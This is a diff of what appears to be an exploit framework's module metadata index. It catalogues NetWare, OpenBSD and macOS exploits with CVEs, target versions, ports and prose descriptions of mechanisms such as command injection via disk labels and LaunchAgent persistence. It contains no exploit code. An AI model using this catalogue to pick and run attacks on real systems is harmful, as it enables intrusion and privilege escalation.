"notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_netware/smb/lsass_cifs": { "name": "Novell NetWare LSASS CIFS.NLM Driver Stack Buffer Overflow", "fullname": "exploit/netware/smb/lsass_cifs", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-01-21", "type": "exploit", @@ -124296,17 +110803,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_netware/sunrpc/pkernel_callit": { "name": "NetWare 6.5 SunRPC Portmapper CALLIT Stack Buffer Overflow", "fullname": "exploit/netware/sunrpc/pkernel_callit", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-09-30", "type": "exploit", @@ -124322,12 +110826,8 @@ "platform": "Netware", "arch": "", "rport": 111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "NetWare 6.5 SP2", @@ -124345,17 +110845,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_openbsd/local/dynamic_loader_chpass_privesc": { "name": "OpenBSD Dynamic Loader chpass Privilege Escalation", "fullname": "exploit/openbsd/local/dynamic_loader_chpass_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-12-11", "type": "exploit", @@ -124376,12 +110873,8 @@ "platform": "BSD,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -124407,16 +110900,12 @@ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/afp/loginext": { "name": "AppleFileServer LoginExt PathName Overflow", "fullname": "exploit/osx/afp/loginext", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-05-03", "type": "exploit", @@ -124432,12 +110921,8 @@ "platform": "OSX", "arch": "", "rport": 548, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.3.3" ], @@ -124448,17 +110933,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/arkeia/type77": { "name": "Arkeia Backup Client Type 77 Overflow (Mac OS X)", "fullname": "exploit/osx/arkeia/type77", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-02-18", "type": "exploit", @@ -124474,12 +110956,8 @@ "platform": "OSX", "arch": "", "rport": 617, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Arkeia 5.3.1 Stack Return (boot)" ], @@ -124490,17 +110968,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/browser/adobe_flash_delete_range_tl_op": { "name": "Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion", "fullname": "exploit/osx/browser/adobe_flash_delete_range_tl_op", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2016-04-27", "type": "exploit", @@ -124520,12 +110995,8 @@ "platform": "OSX", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X" ], @@ -124536,17 +111007,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/browser/mozilla_mchannel": { "name": "Mozilla Firefox 3.6.16 mChannel Use-After-Free", "fullname": "exploit/osx/browser/mozilla_mchannel", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-10", "type": "exploit", @@ -124565,12 +111033,8 @@ "platform": "OSX", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)" ], @@ -124581,17 +111045,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/browser/osx_gatekeeper_bypass": { "name": "macOS Gatekeeper check bypass", "fullname": "exploit/osx/browser/osx_gatekeeper_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2021-03-25", "type": "exploit", @@ -124615,12 +111076,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "macOS x64 (Native Payload)", "Python payload", @@ -124651,9 +111108,7 @@ "exploit_osx/browser/safari_file_policy": { "name": "Apple Safari file:// Arbitrary Code Execution", "fullname": "exploit/osx/browser/safari_file_policy", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-10-12", "type": "exploit", @@ -124671,12 +111126,8 @@ "platform": "Java,OSX,Unix", "arch": "cmd, java", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Safari 5.1 on OS X", "Safari 5.1 on OS X with Java" @@ -124688,17 +111139,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/browser/safari_in_operator_side_effect": { "name": "Safari in Operator Side Effect Exploit", "fullname": "exploit/osx/browser/safari_in_operator_side_effect", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2020-03-18", "type": "exploit", @@ -124719,12 +111167,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x64 (Native Payload)", "Python payload", @@ -124754,9 +111198,7 @@ "exploit_osx/browser/safari_metadata_archive": { "name": "Safari Archive Metadata Command Execution", "fullname": "exploit/osx/browser/safari_metadata_archive", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2006-02-21", "type": "exploit", @@ -124772,12 +111214,8 @@ "platform": "Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -124788,17 +111226,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/browser/safari_proxy_object_type_confusion": { "name": "Safari Proxy Object Type Confusion", "fullname": "exploit/osx/browser/safari_proxy_object_type_confusion", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-03-15", "type": "exploit", @@ -124816,12 +111251,8 @@ "platform": "OSX", "arch": "python, cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Python payload", "Command payload" @@ -124833,17 +111264,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/browser/safari_user_assisted_applescript_exec": { "name": "Safari User-Assisted Applescript Exec Attack", "fullname": "exploit/osx/browser/safari_user_assisted_applescript_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-10-16", "type": "exploit", @@ -124858,12 +111286,8 @@ "platform": "OSX,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X" ], @@ -124874,17 +111298,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/browser/safari_user_assisted_download_launch": { "name": "Safari User-Assisted Download and Run Attack", "fullname": "exploit/osx/browser/safari_user_assisted_download_launch", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-03-10", "type": "exploit", @@ -124892,18 +111313,12 @@ "joev " ], "description": "This module abuses some Safari functionality to force the download of a\n zipped .app OSX application containing our payload. The app is then\n invoked using a custom URL scheme. At this point, the user is presented\n with Gatekeeper's prompt:\n\n \"APP_NAME\" is an application downloaded from the internet. Are you sure you\n want to open it?\n\n If the user clicks \"Open\", the app and its payload are executed.\n\n If the user has the \"Only allow applications downloaded from Mac App Store\n and identified developers (on by default on OS 10.8+), the user will see\n an error dialog containing \"can't be opened because it is from an unidentified\n developer.\" To work around this issue, you will need to manually build and sign\n an OSX app containing your payload with a custom URL handler called \"openurl\".\n\n You can put newlines and unicode in your APP_NAME, although you must be careful not\n to create a prompt that is too tall, or the user will not be able to click\n the buttons, and will have to either logout or kill the CoreServicesUIAgent\n process.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x86 (Native Payload)", "Mac OS X x64 (Native Payload)" @@ -124915,17 +111330,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/browser/software_update": { "name": "Apple OS X Software Update Command Execution", "fullname": "exploit/osx/browser/software_update", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-12-17", "type": "exploit", @@ -124940,12 +111352,8 @@ "platform": "OSX", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -124956,17 +111364,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/email/mailapp_image_exec": { "name": "Mail.app Image Attachment Command Execution", "fullname": "exploit/osx/email/mailapp_image_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2006-03-01", "type": "exploit", @@ -125010,17 +111415,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/ftp/webstar_ftp_user": { "name": "WebSTAR FTP Server USER Overflow", "fullname": "exploit/osx/ftp/webstar_ftp_user", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-07-13", "type": "exploit", @@ -125054,17 +111456,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/http/evocam_webserver": { "name": "MacOS X EvoCam HTTP GET Buffer Overflow", "fullname": "exploit/osx/http/evocam_webserver", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2010-06-01", "type": "exploit", @@ -125081,12 +111480,8 @@ "platform": "OSX", "arch": "", "rport": 8080, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.5.8 x86, EvoCam 3.6.6", "Mac OS X 10.5.8 x86, EvoCam 3.6.7" @@ -125098,17 +111493,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/local/acronis_trueimage_xpc_privesc": { "name": "Acronis TrueImage XPC Privilege Escalation", "fullname": "exploit/osx/local/acronis_trueimage_xpc_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-11", "type": "exploit", @@ -125125,12 +111517,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -125158,16 +111546,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/cfprefsd_race_condition": { "name": "macOS cfprefsd Arbitrary File Write Local Privilege Escalation", "fullname": "exploit/osx/local/cfprefsd_race_condition", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-18", "type": "exploit", @@ -125186,12 +111570,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x64 (Native Payload)" ], @@ -125214,20 +111594,14 @@ "crash-safe" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/dyld_print_to_file_root": { "name": "Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation", "fullname": "exploit/osx/local/dyld_print_to_file_root", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-07-21", "type": "exploit", @@ -125244,12 +111618,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.10-10.10.4" ], @@ -125260,22 +111630,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/feedback_assistant_root": { "name": "Mac OS X Feedback Assistant Race Condition", "fullname": "exploit/osx/local/feedback_assistant_root", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-13", "type": "exploit", @@ -125286,48 +111651,39 @@ "description": "This module exploits a race condition vulnerability in Mac's Feedback Assistant.\n A successful attempt would result in remote code execution under the context of\n root.", "references": [ "CVE-2019-8565", - "URL-https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe", + "URL-http://web.archive.org/web/20190423083938/https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe", "URL-https://support.apple.com/en-in/HT209600", "URL-https://github.com/ChiChou/sploits" ], "platform": "OSX,Python,Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x64 (Native Payload)", "Python payload", "Command payload" ], - "mod_time": "2023-04-28 19:52:15 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/osx/local/feedback_assistant_root.rb", "is_install_path": true, "ref_name": "osx/local/feedback_assistant_root", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/iokit_keyboard_root": { "name": "Mac OS X IOKit Keyboard Driver Root Privilege Escalation", "fullname": "exploit/osx/local/iokit_keyboard_root", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-09-24", "type": "exploit", @@ -125345,12 +111701,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.9.5 Mavericks x64 (Native Payload)" ], @@ -125361,23 +111713,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/libxpc_mitm_ssudo": { "name": "Mac OS X libxpc MITM Privilege Escalation", "fullname": "exploit/osx/local/libxpc_mitm_ssudo", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-03-15", "type": "exploit", @@ -125392,12 +111739,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x64 (Native Payload)" ], @@ -125408,22 +111751,15 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/mac_dirty_cow": { "name": "macOS Dirty Cow Arbitrary File Write Local Privilege Escalation", "fullname": "exploit/osx/local/mac_dirty_cow", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-12-17", "type": "exploit", @@ -125441,12 +111777,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x64 (Native Payload)" ], @@ -125474,16 +111806,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/nfs_mount_root": { "name": "Mac OS X NFS Mount Privilege Escalation Exploit", "fullname": "exploit/osx/local/nfs_mount_root", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-04-11", "type": "exploit", @@ -125498,12 +111826,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.7 Lion x64 (Native Payload)" ], @@ -125514,23 +111838,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/persistence": { "name": "Mac OS X Persistent Payload Installer", "fullname": "exploit/osx/local/persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-04-01", "type": "exploit", @@ -125539,18 +111858,12 @@ "joev " ], "description": "This module provides a persistent boot payload by creating a launch item, which can be\n a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered\n upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with\n elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.\n In either case the plist entry specifies an executable that will be run before or at login.", - "references": [ - - ], + "references": [], "platform": "OSX,Python,Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x64 (Native Payload)", "Mac OS X x86 (Native Payload for 10.14 and earlier)", @@ -125565,23 +111878,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/root_no_password": { "name": "Mac OS X Root Privilege Escalation", "fullname": "exploit/osx/local/root_no_password", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-11-29", "type": "exploit", @@ -125600,12 +111908,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.13.1 High Sierra x64 (Native Payload)" ], @@ -125616,23 +111920,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/rootpipe": { "name": "Apple OS X Rootpipe Privilege Escalation", "fullname": "exploit/osx/local/rootpipe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-04-09", "type": "exploit", @@ -125651,12 +111950,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.9-10.10.2" ], @@ -125667,22 +111962,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/rootpipe_entitlements": { "name": "Apple OS X Entitlements Rootpipe Privilege Escalation", "fullname": "exploit/osx/local/rootpipe_entitlements", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-07-01", "type": "exploit", @@ -125698,12 +111988,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.9-10.10.3" ], @@ -125714,22 +112000,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/rsh_libmalloc": { "name": "Mac OS X 10.9.5 / 10.10.5 - rsh/libmalloc Privilege Escalation", "fullname": "exploit/osx/local/rsh_libmalloc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-10-01", "type": "exploit", @@ -125745,12 +112026,8 @@ "platform": "OSX,Python", "arch": "x64, python", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.9.5-10.10.5" ], @@ -125761,23 +112038,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/setuid_tunnelblick": { "name": "Setuid Tunnelblick Privilege Escalation", "fullname": "exploit/osx/local/setuid_tunnelblick", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-11", "type": "exploit", @@ -125795,12 +112067,8 @@ "platform": "OSX", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Tunnelblick 3.2.8 / Mac OS X x86", "Tunnelblick 3.2.8 / Mac OS X x64" @@ -125812,22 +112080,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/setuid_viscosity": { "name": "Viscosity setuid-set ViscosityHelper Privilege Escalation", "fullname": "exploit/osx/local/setuid_viscosity", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-12", "type": "exploit", @@ -125845,12 +112108,8 @@ "platform": "OSX", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Viscosity 1.4.1 / Mac OS X x86", "Viscosity 1.4.1 / Mac OS X x64" @@ -125862,22 +112121,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/sudo_password_bypass": { "name": "Mac OS X Sudo Password Bypass", "fullname": "exploit/osx/local/sudo_password_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-02-28", "type": "exploit", @@ -125896,12 +112150,8 @@ "platform": "OSX", "arch": "x86, x64, cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x86 (Native Payload)", "Mac OS X x64 (Native Payload)", @@ -125914,23 +112164,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/timemachine_cmd_injection": { "name": "Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation", "fullname": "exploit/osx/local/timemachine_cmd_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-13", "type": "exploit", @@ -125941,47 +112186,36 @@ "description": "This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in\n order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers\n from a command injection vulnerability that can be exploited by creating a\n specially crafted disk label.\n\n The tmdiagnose binary uses awk to list every mounted volume, and composes\n shell commands based on the volume labels. By creating a volume label with the\n backtick character, we can have our own binary executed with root priviledges.", "references": [ "CVE-2019-8513", - "URL-https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43", + "URL-http://web.archive.org/web/20201113192302/https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43", "URL-https://support.apple.com/en-in/HT209600", "URL-https://github.com/ChiChou/sploits" ], "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X x64 (Native Payload)", "Python payload", "Command payload" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/osx/local/timemachine_cmd_injection.rb", "is_install_path": true, "ref_name": "osx/local/timemachine_cmd_injection", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/tpwn": { "name": "Mac OS X \"tpwn\" Privilege Escalation", "fullname": "exploit/osx/local/tpwn", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-08-16", "type": "exploit", @@ -125996,12 +112230,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.10.4-10.10.5" ], @@ -126012,22 +112242,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/vmware_bash_function_root": { "name": "OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)", "fullname": "exploit/osx/local/vmware_bash_function_root", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-09-24", "type": "exploit", @@ -126047,12 +112272,8 @@ "platform": "OSX", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.9 Mavericks x64 (Native Payload)" ], @@ -126073,16 +112294,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/local/vmware_fusion_lpe": { "name": "VMware Fusion USB Arbitrator Setuid Privilege Escalation", "fullname": "exploit/osx/local/vmware_fusion_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-17", "type": "exploit", @@ -126104,12 +112321,8 @@ "platform": "OSX", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -126136,16 +112349,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_osx/mdns/upnp_location": { "name": "Mac OS X mDNSResponder UPnP Location Overflow", "fullname": "exploit/osx/mdns/upnp_location", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-05-25", "type": "exploit", @@ -126162,12 +112371,8 @@ "platform": "OSX", "arch": "", "rport": 0, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "10.4.8 x86", "10.4.0 PPC" @@ -126179,17 +112384,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/misc/ufo_ai": { "name": "UFO: Alien Invasion IRC Client Buffer Overflow", "fullname": "exploit/osx/misc/ufo_ai", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-10-28", "type": "exploit", @@ -126205,12 +112407,8 @@ "platform": "OSX", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.5.8 x86, UFOAI 2.2.1" ], @@ -126221,17 +112419,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/rtsp/quicktime_rtsp_content_type": { "name": "MacOS X QuickTime RTSP Content-Type Overflow", "fullname": "exploit/osx/rtsp/quicktime_rtsp_content_type", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-11-23", "type": "exploit", @@ -126247,12 +112442,8 @@ "platform": "OSX", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Mac OS X 10.4.0 PowerPC, QuickTime 7.0.0", "Mac OS X 10.5.0 PowerPC, QuickTime 7.2.1", @@ -126266,17 +112457,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_osx/samba/lsa_transnames_heap": { "name": "Samba lsa_io_trans_names Heap Overflow", "fullname": "exploit/osx/samba/lsa_transnames_heap", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-05-14", "type": "exploit", @@ -126314,17 +112502,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, 